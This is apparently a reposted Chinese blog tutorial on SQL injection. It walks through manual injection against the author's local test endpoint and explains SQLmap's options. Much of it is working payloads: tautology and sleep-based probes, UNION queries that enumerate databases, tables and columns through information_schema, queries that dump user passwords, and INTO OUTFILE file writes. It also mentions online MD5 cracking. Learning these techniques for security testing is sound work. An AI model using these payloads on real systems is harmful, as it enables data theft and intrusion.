[实战]使用SQLmap进行SQL注入


一、什么是SQLmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
备注:SQLmap是python代码

二、SQL注入

自行百度

三、SQLmap安装
下载最新版本sqlmap

也可以使用git来获取sqlmap
之后可以直接使用命令来更新
python sqlmap.py --update
或者
git pull 更新sqlmap
验证安装成功:
进入sqlmap.py所在的目录,执行以下命令:
#python sqlmap.py -h

四、SQLmap命令
SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

五 、sql注入后我们可以做什么?
枚举MYSQL用户名与密码、枚举所有数据库、枚举指定数据库的数据表、枚举指定数据表中的所有用户名与密码等等 ....

六、 人为简单进行sql注入
以我自己写的一个接口为例,访问地址为: http://127.0.0.1:8081/?id=1
这个接口很简单,使用拼接sql的形式,根据id查询数据,此处我就不给出项目代码
 
[第零步]: 猜一下数据库。像我一搬默认为mysql
 
[第一步]: 找到注入点 - 以mysql为例
1. 经典 ' or '1'='1
2. 使用sleep(N) 函数 -- 部分版本不支持
通过在语句中添加一个sleep(N)函数,强制让语句停留N秒钟,来查看后台线程,例如:
select sleep(1),name from animals where name='tiger';
但是使用这个办法是有前提条件的,也只指定条件的记录存在时才会停止指定的秒数,例如查询条件为name='pig',结果表明记录不存在,执行时间为
另外需要注意的是,添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL会对每条满足条件的记录停留N秒钟。
例如,name like '%ger'的记录有三条
也可以加在后面:
SELECT * FROM cachet.QRTZ_CRON_TRIGGERS where SCHED_NAME='CachetScheduler' and sleep(1);

第三步: 破解查询列数
方法1: ' union select 1,2,3 from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1
方法2: order by 1 (这种方式我还没有搞明白)

第四步:爆出当前数据库的基本信息
1. 获取数据库名: ' union select 1,2,database() from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1
配合使用函数:
concat(user(),0x20,database(),0x20,version())

第五步:爆出所有的数据库名
知识准备: information_schema数据库中存在columns表
information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。information_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。
MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
SQL :
' union select 1,2,group_concat(distinct table_schema) from information_schema.columns as a where '1'='1

第六步:爆出当前的数据库表名(表名出现后可以根据表名进行猜想)
' union select 1,2,group_concat(distinct table_name) from information_schema.columns as a where table_schema= database() and '1'='1

第七步: 爆出当前数据库中某个表的列名及值
1. 使用mysql hex() 函数进行16制转换,然后在前面加上0x即为表名.我在测试时必须使用0x
2. 获取表列名SQL: 1' union select 1,2,group_concat(distinct column_name) from information_schema.columns as a where table_name= 0x74656D706C6F796565 and '1'='1
3. 获取表值SQL:
1' union select fcode,fname,fmobile from temployee where '1'='1
说明:如果查出的值判断有md5加密可以直接进行md5解密获取用户名密码  http://pmd5.com
示例:
本表查询:
Union联合语句:
http://localhost/injection/show.php?id=1' union select 1,username,password from user/*
http://localhost/injection/show.php?id=' union select 1,username,password from user/*
导出文件:
http://localhost/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://localhost/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
待办:是否可以执行update,insert,delete等语句

七、SQLmap概述
当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

八、使用SQLmap常用命令
SQLmap常用命令,执行SQLmap后会在用户当前目录下生成.sqlmap数据,存放扫描记录
--u : 指定目标URL
例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1"
--b : 获取DBMS banner
--dbms : 指定数据库类型
例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" --dbs
--current-db : 获取当前数据库
--current-user:获取当前用户
--dbs:获取所有数据库
--users : 枚举DBMS用户
--password : 枚举DBMS用户密码hash
--D : 要枚举的DBMS数据库
例如:python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra"
--tables : 枚举DBMS数据库中的数据表
例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
sql注入相关资料
1.常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
2. 利用mysql 支持16进制
注入查询条件转为16进制
3.
参考:

猜你喜欢

转载自blog.csdn.net/c364902709/article/details/72514894